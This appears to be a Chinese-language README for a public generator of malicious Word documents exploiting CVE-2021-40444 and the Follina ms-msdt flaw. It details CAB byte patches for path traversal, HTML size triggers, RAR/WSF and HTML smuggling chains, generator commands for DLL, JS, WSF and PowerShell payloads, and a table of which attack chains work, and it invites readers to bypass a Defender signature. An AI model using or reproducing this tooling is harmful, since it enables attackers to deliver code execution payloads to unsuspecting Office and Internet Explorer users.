用于利用 CVE-2021-40444(Microsoft Office Word 远程代码执行)的恶意 docx 生成器,可与任意 DLL 文件配合使用。
现在生成器能够生成同时利用“Follina”攻击(利用 ms-msdt)所需的文档。
虽然互联网上已有许多 PoC,但我决定亲自尝试将此漏洞武器化,因为我发现已有的资料缺乏值得分享的有价值信息,同时考虑到微软已为此漏洞发布了补丁。
到目前为止,我所看到的创建完整可工作生成器的唯一有价值资源是:
上述资源概述了构建完整攻击链所需的许多条件。为避免重复过多不必要的信息,我只总结相关细节。
要使此漏洞生效,有不少被忽视的要求,这导致即使是一些不错的 PoC(如lockedbyte 的这个)也无法正常工作。
也许没有人明确“发布”这些细节是为了避免漏洞被更多地利用。但现在它已被修补,因此发布细节应该不会造成太多麻烦。
根据 Will Dormann 的这条推文,HTML 的大小应至少为 4096 字节,以便在 MS Word 中触发“预览”。
需要对 CAB 文件进行字节修补以避免提取错误并实现 ZipSlip:
filename.inf 应变为 ../filename.inffilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart 应增加 3(由于添加了 '../')CFFOLDER.cCfData CFFILE.cbFile 应大于整个 CFHEADER.cbCabinetCFDATA.csum 这些限制的原因有很多,我没有花足够时间深入理解所有限制,但让我们看看最重要的几点:
注1:Defender 现在通过使用 _IMAGE_DOS_HEADER.e_magic 值作为签名来检测 CAB 文件是否包含 PE,从而可能阻止 PE 文件嵌入 CAB。这个签名能被绕过吗?我不确定,但如前所述,这是一个已修补的漏洞,所以我不打算在这方面投入更多时间。由好奇的读者自行进一步开发。
注2:微软补丁阻止了任意 URI 方案,似乎使用了黑名单方法(这只是推测)
与 CVE-2021-40444 相关的主要攻击链是通过 .cpl URI 方案加载的 DLL 攻击。为了利用它,攻击者需要生成一个特制的 DLL。如果你想测试,可以试试我的 evildll-gen 脚本。
正如 Max Maluin 所指出的,可以通过滥用 IE 和基于文件扩展名的关联 URI 与多种文件类型进行交互。虽然这可能是利用 IE 的一种好方法,但它存在局限性。
事实上,应该注意的是,攻击中用于下载文件的方法基于 ActiveX 控件更新,不能用于下载任意文件。根据微软文档,codebase 标签只能指向少数几种文件类型:OCX、INF 和 CAB。
即使我们可以直接下载 OCX 或 INF 文件,我们仍然无法确保将文件下载到系统中的正确位置。通过 CAB 攻击,可以使用路径遍历将 .inf 文件移动到已知路径,但在其他任何情况下,文件将存储在随机目录中,使得几乎不可能引用它。
截至目前,我没有找到无需 CAB 文件即可链接下载和执行的方法。
注:仅就 IE 而言,HTML smuggling 可能是利用该漏洞的一种可能场景。
该技术最初由 Eduardo Braun 在 Twitter 上披露,并在此论文中进一步解释。
请注意,使用此技术时,攻击链略有不同。此攻击要求用户下载一个特制的 RAR 文件,该文件通过将有效的 WSF 脚本和有效的 RAR 文件链接在一起获得。一旦打开,RAR 将包含一个引用 HTML 的 DOCX,而后者又会尝试将 RAR 文件作为 WSF 脚本加载。
总结如下:
生成器工具当前可以复现以下攻击:
1在某些环境中 CAB 无法正确下载
2用户需要在 IE 中点击“保存”才能下载文件
3并非在所有 Windows/MS Word 版本上真正有效
工具 cab_parser.py 可用于查看 exploit 文件的头部,但不要将其视为一个完整的解析器。这是一个我为了解情况而开发的非常快速且粗糙的 CAB 头部查看器。
生成器设计为在 Windows 上工作,因为它使用了 makecab 工具。使用前,请确保安装所需依赖项:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
生成器使用起来很简单,尽管它已经在多种不同的 payload 和 Windows 版本上进行了测试,但并非万无一失。我在不同的 Windows 构建中遇到了不同的行为。一旦有更多细节可以分享,我会在这里发布。
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
注意:端口由 URL 选定,exploit 根据 payload 文件扩展名生成
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
| 攻击 | HTML 模板 | 目标 | 传递方式 | 执行方式 | 是否有效 |
|---|
| 攻击的原始版本 | cab-orig-* | WORD | DOCX | CAB + DLL | 是 |
| j00sean 仅 IE 攻击 | cab-orig-j00san | IE | HTML | CAB + DLL | 是 |
| 我的无 DLL 版本 | cab-uri-* | WORD | DOCX | CAB + JS/VBS | 否1 |
| Eduardo B. 使用 RAR 的“CABless”攻击 | cabless-rar-* | WORD | RAR | WSF | 是 |
| 修改后的 j00sean 攻击 + HTML smuggling | cabless-smuggling-* | IE | HTML | JS/VBS | 是2 |
| Follina 攻击 | cabless-msdt-* | WORD | DOCX/RTF | MSDT + PS | 是3 |